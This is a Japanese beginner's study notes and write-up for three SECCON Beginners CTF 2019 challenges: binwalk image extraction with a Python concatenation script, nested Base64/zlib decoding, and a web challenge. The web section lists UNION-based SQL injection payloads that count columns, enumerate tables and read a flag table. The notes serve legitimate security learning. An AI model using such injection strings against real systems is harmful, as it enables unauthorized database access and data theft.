自分用勉強メモ12日目

[SECCON Beginners CTF 2019](https://score.beginners.seccon.jp/)に個人で参加しました．
CTFを始めたばかりで，乏しい知識をもとにできるだけ頑張ってみました．
結果解けたのは(Welcome除いて)1問だけでした(泣)．

終わった後，いろいろな人のWriteupを見て，足りない知識を補っていったので，まとめます．

# containers (Misc)

与えられたバイナリデータをまず`binwalk`で見ます．

```bash
binwalk -e e35860e49ca3fa367e456207ebc9ff2f_containers
```

中にPNGファイルが複数隠されていることがわかるので，抽出します．

```bash
binwalk -D 'png image:png' e35860e49ca3fa367e456207ebc9ff2f_containers
```

ファイルブラウザ(Ubuntuで行ったのでNautilus)で開くと，アルファベットやら記号の画像が並んでいるのがわかります．
サイズ順に整理し，順に繋げるとフラグになります．

Pythonで画像を横に連結するプログラムを実装してみました．

```Python:concat_images.py
from glob import glob
import os
from PIL import Image
import sys

def extract_files(file_list, extentions):
    '''
    ファイルリストから，拡張子に該当するもののみを返す

    extensions: list
    '''
    file_list = [file for file in file_list if os.path.splitext(file)[1][1:] in extentions]
    return file_list

def sort_files_by_filesize(file_list):
    '''
    ファイルリストをファイルの大きさ順にソートして返す
    '''
    file_list_with_size = []
    for i in range(len(file_list)):
        file_list_with_size.append((file_list[i], os.path.getsize(file_list[i])))
    file_list_with_size.sort(key=lambda filename: filename[1], reverse=True)
    for i in range(len(file_list_with_size)):
        file_list_with_size[i] = file_list_with_size[i][0]
    return file_list_with_size

def get_concat_h(im1, im2):
    '''
    画像を横に連結する
    '''
    dst = Image.new('RGB', (im1.width + im2.width, im1.height))
    dst.paste(im1, (0, 0))
    dst.paste(im2, (im1.width, 0))
    return dst

def get_concat_h_multi(im_list):
    '''
    3つ以上の画像を横に連結する
    '''
    _im = im_list.pop(0)
    for im in im_list:
        _im = get_concat_h(_im, im)
    return _im

def concat_images(file_list, savename):
    '''
    ファイルの一覧をもとに，画像を連結して保存する
    '''
    image_list = [Image.open(file) for file in file_list]
    get_concat_h_multi(image_list).save(savename)


if __name__ == '__main__':
    # 第一引数で複数のPNGファイルがあるディレクトリを指定します
    dir_path = sys.argv[1]
    file_list = glob(os.path.join(dir_path, '*'))
    file_list = extract_files(file_list, ['png'])
    file_list = sort_files_by_filesize(file_list)
    savename = 'containers_concat_image.png'
    concat_images(file_list, savename)
```

# [warmup] So Tired (Crypto)

テキストファイルが渡されます．
Base64でデコードすることはわかったのですが，その後何をしていいのかわからなくなりました．
自分はここで断念です．

デコードしたファイルを`file`で見ると，zlibで圧縮されていることがわかります．

```bash
$ file encrypted_decoded.txt 
encrypted_decoded.txt: zlib compressed data
```

Pythonで解凍して中身を見ると，さらにBase64デコードできそうな文字列が抽出できます．

```bash
>>> from zlib import decompress
>>> data = open('encrypted_decoded.txt').read()
>>> print(decompress(data))
# (略)
```

これが繰り返されると踏んで，エラーになるまでループを回すとフラグを取得できます．

参考：[SECCON Beginners CTF 2019 writeup](https://furutsuki.hatenablog.com/entry/2019/05/26/150813#Crypto-115pts192-solves-warmupSo-Tired)

# [warmup] Ramen (Web)

HTMLソースやキャッシュに怪しいところがなかったので，SQLインジェクションをするのかなぁと思ったが，手が出せず．

丁寧に解くなら，以下の手順．
1. カラム数を確認する

```
' union select null,null,null # -> エラー
' union select null,null # -> エラーなしなので，2列
```

2. テーブル名を取得する

```
' union select table_name,null from INFORMATION_SCHEMA.COLUMNS #
```
検索結果にテーブル名が列挙されます．
最後の方にflagというテーブル名を確認．

3. フラグを獲得

```
' union select flag,null from flag #
```

参考：[SECCON Beginners CTF 2019 Writeup](https://qiita.com/xio_yae/items/8047b9b3cf60d57b4bc7#warmup-ramen-73pt)

# 感想

解法の導入がわかるようにはなってきた問題もあるけど，まだまだ手も足も出なくて，知識の無さを痛感しました．
今後は常設CTFやビギナー向けのCTFに参加して少しずつ精進していきます！